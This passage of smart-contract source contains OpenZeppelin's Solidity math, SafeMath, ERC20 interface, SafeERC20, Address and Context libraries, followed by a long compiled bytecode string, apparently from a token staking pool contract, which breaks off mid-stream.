* @dev Returns the smallest of two numbers.
*/
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
/**
* @dev Returns the average of two numbers. The result is rounded towards
* zero.
*/
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "./IERC20.sol";
import "../../math/SafeMath.sol";
import "../../utils/Address.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.2 <0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
| 0x608060405234801561001057600080fd5b50600436106101ef5760003560e01c8063715018a61161010f578063b325bf3a116100a2578063e9fad8ee11610071578063e9fad8ee1461073a578063ebe2b12b14610744578063f2fde38b14610762578063fc7e286d146107a6576101ef565b8063b325bf3a146106ac578063c8f33c91146106e0578063cd3daf9d146106fe578063df136d651461071c576101ef565b80638b876347116100de5780638b876347146105d45780638da588971461062c5780638da5cb5b1461064a578063a694fc3a1461067e576101ef565b8063715018a61461055a5780637b0a47ee1461056457806380faa57d14610582578063880206ff146105a0576101ef565b80632e1a7d4d116101875780635693b4b4116101565780635693b4b414610490578063570ca7351461049a5780635e02c51e146104ce57806370a0823114610502576101ef565b80632e1a7d4d1461040a57806334af1791146104385780633c6b16ab146104425780634456eda214610470576101ef565b8063101114cf116101c3578063101114cf1461035657806318160ddd1461038a5780631be05289146103a857806329605e77146103c6576101ef565b80628cc262146101f45780630700037d1461024c578063072071d1146102a45780630d68b76114610312575b600080fd5b6102366004803603602081101561020a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506107fe565b6040518082815260200191505060405180910390f35b61028e6004803603602081101561026257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108e5565b6040518082815260200191505060405180910390f35b610310600480360360608110156102ba57600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108fd565b005b6103546004803603602081101561032857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109d3565b005b61035e610ac6565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610392610aec565b6040518082815260200191505060405180910390f35b6103b0610af6565b6040518082815260200191505060405180910390f35b610408600480360360208110156103dc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610afc565b005b6104366004803603602081101561042057600080fd5b8101908080359060200190929190505050610bb7565b005b610440610e5c565b005b61046e6004803603602081101561045857600080fd5b81019080803590602001909291905050506111a8565b005b6104786114aa565b60405180821515815260200191505060405180910390f35b610498611509565b005b6104a261170a565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6104d6611734565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6105446004803603602081101561051857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061175a565b6040518082815260200191505060405180910390f35b6105626117a3565b005b61056c611910565b6040518082815260200191505060405180910390f35b61058a611916565b6040518082815260200191505060405180910390f35b6105a8611929565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610616600480360360208110156105ea57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061194f565b6040518082815260200191505060405180910390f35b610634611967565b6040518082815260200191505060405180910390f35b61065261196d565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6106aa6004803603602081101561069457600080fd5b8101908080359060200190929190505050611996565b005b6106b4611c41565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6106e8611c67565b6040518082815260200191505060405180910390f35b610706611c6d565b6040518082815260200191505060405180910390f35b610724611d05565b6040518082815260200191505060405180910390f35b610742611d0b565b005b61074c611d26565b6040518082815260200191505060405180910390f35b6107a46004803603602081101561077857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611d2c565b005b6107e8600480360360208110156107bc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611f1e565b6040518082815260200191505060405180910390f35b60006108de600f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546108d0670de0b6b3a76400006108c26108ab600e60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461089d611c6d565b611f3690919063ffffffff16565b6108b48861175a565b611fb990919063ffffffff16565b61203f90919063ffffffff16565b6120c890919063ffffffff16565b9050919050565b600f6020528060005260406000206000915090505481565b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109a3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180612a486024913960400191505060405180910390fd5b6109ce81848473ffffffffffffffffffffffffffffffffffffffff166121509092919063ffffffff16565b505050565b6109db6121f2565b73ffffffffffffffffffffffffffffffffffffffff166109f961196d565b73ffffffffffffffffffffffffffffffffffffffff1614610a82576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600354905090565b60085481565b610b046121f2565b73ffffffffffffffffffffffffffffffffffffffff16610b2261196d565b73ffffffffffffffffffffffffffffffffffffffff1614610bab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b610bb4816121fa565b50565b33610bc0611c6d565b600d81905550610bce611916565b600c81905550600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614610c9b57610c11816107fe565b600f60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600d54600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600954421015610d13576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f73686f72745374616b654241537632506f6f6c3a206e6f74207374617274656481525060200191505060405180910390fd5b60008211610d6c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180612a8d6026913960400191505060405180910390fd5b610dbe82601060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f3690919063ffffffff16565b601060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e0a8261231f565b3373ffffffffffffffffffffffffffffffffffffffff167f7084f5476618d8e60b11ef0d7d3f06914655adb8793e28ff7f018d4c76d505d5836040518082815260200191505060405180910390a25050565b33610e65611c6d565b600d81905550610e73611916565b600c81905550600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614610f4057610eb6816107fe565b600f60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600d54600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000610f4b336107fe565b905060008111156111a4576000600f60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561105057600080fd5b505af1158015611064573d6000803e3d6000fd5b505050506040513d602081101561107a57600080fd5b810190808051906020019092919050505050600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663198f65bf3330846040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050600060405180830381600087803b15801561113d57600080fd5b505af1158015611151573d6000803e3d6000fd5b505050503373ffffffffffffffffffffffffffffffffffffffff167fe2403640ba68fed3a2f88b7557551d1993f84b99bb10ff833f0cf8db0c5e0486826040518082815260200191505060405180910390a25b5050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111e96121f2565b73ffffffffffffffffffffffffffffffffffffffff1614611255576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180612a6c6021913960400191505060405180910390fd5b600061125f611c6d565b600d8190555061126d611916565b600c81905550600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161461133a576112b0816107fe565b600f60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600d54600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60095442111561142d57600a54421061136d576113626008548361203f90919063ffffffff16565b600b819055506113cf565b600061138442600a54611f3690919063ffffffff16565b9050600061139d600b5483611fb990919063ffffffff16565b90506113c66008546113b883876120c890919063ffffffff16565b61203f90919063ffffffff16565b600b8190555050505b42600c819055506113eb600854426120c890919063ffffffff16565b600a819055507fde88a922e0d3b88b24e9623efeb464919c6bf9f66857a65e2bfcf2ce87a9433d826040518082815260200191505060405180910390a16114a6565b6114426008548361203f90919063ffffffff16565b600b81905550600954600c819055506114686008546009546120c890919063ffffffff16565b600a819055507fde88a922e0d3b88b24e9623efeb464919c6bf9f66857a65e2bfcf2ce87a9433d826040518082815260200191505060405180910390a15b5050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166114ed6121f2565b73ffffffffffffffffffffffffffffffffffffffff1614905090565b6115116121f2565b73ffffffffffffffffffffffffffffffffffffffff1661152f61196d565b73ffffffffffffffffffffffffffffffffffffffff16146115b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166342966c68600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561167f57600080fd5b505afa158015611693573d6000803e3d6000fd5b505050506040513d60208110156116a957600080fd5b81019080805190602001909291905050506040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b1580156116f057600080fd5b505af1158015611704573d6000803e3d6000fd5b50505050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6117ab6121f2565b73ffffffffffffffffffffffffffffffffffffffff166117c961196d565b73ffffffffffffffffffffffffffffffffffffffff1614611852576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600b5481565b600061192442600a5461241f565b905090565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600e6020528060005260406000206000915090505481565b60095481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b3361199f611c6d565b600d819055506119ad611916565b600c81905550600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614611a7a576119f0816107fe565b600f60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600d54600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600954421015611af2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f73686f72745374616b654241537632506f6f6c3a206e6f74207374617274656481525060200191505060405180910390fd5b60008211611b4b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806129b16023913960400191505060405180910390fd5b6000611b9f83601060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120c890919063ffffffff16565b905080601060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611bee83612438565b3373ffffffffffffffffffffffffffffffffffffffff167f9e71bc8eea02a63969f509818f2dafb9254532904319f9dbda79b67bd34a5f3d846040518082815260200191505060405180910390a2505050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600c5481565b600080611c78610aec565b1415611c8857600d549050611d02565b611cff611cee611c96610aec565b611ce0670de0b6b3a7640000611cd2600b54611cc4600c54611cb6611916565b611f3690919063ffffffff16565b611fb990919063ffffffff16565b611fb990919063ffffffff16565b61203f90919063ffffffff16565b600d546120c890919063ffffffff16565b90505b90565b600d5481565b611d1c611d173361175a565b610bb7565b611d24610e5c565b565b600a5481565b611d346121f2565b73ffffffffffffffffffffffffffffffffffffffff16611d5261196d565b73ffffffffffffffffffffffffffffffffffffffff1614611ddb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611e61576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602681526020018061298b6026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a9004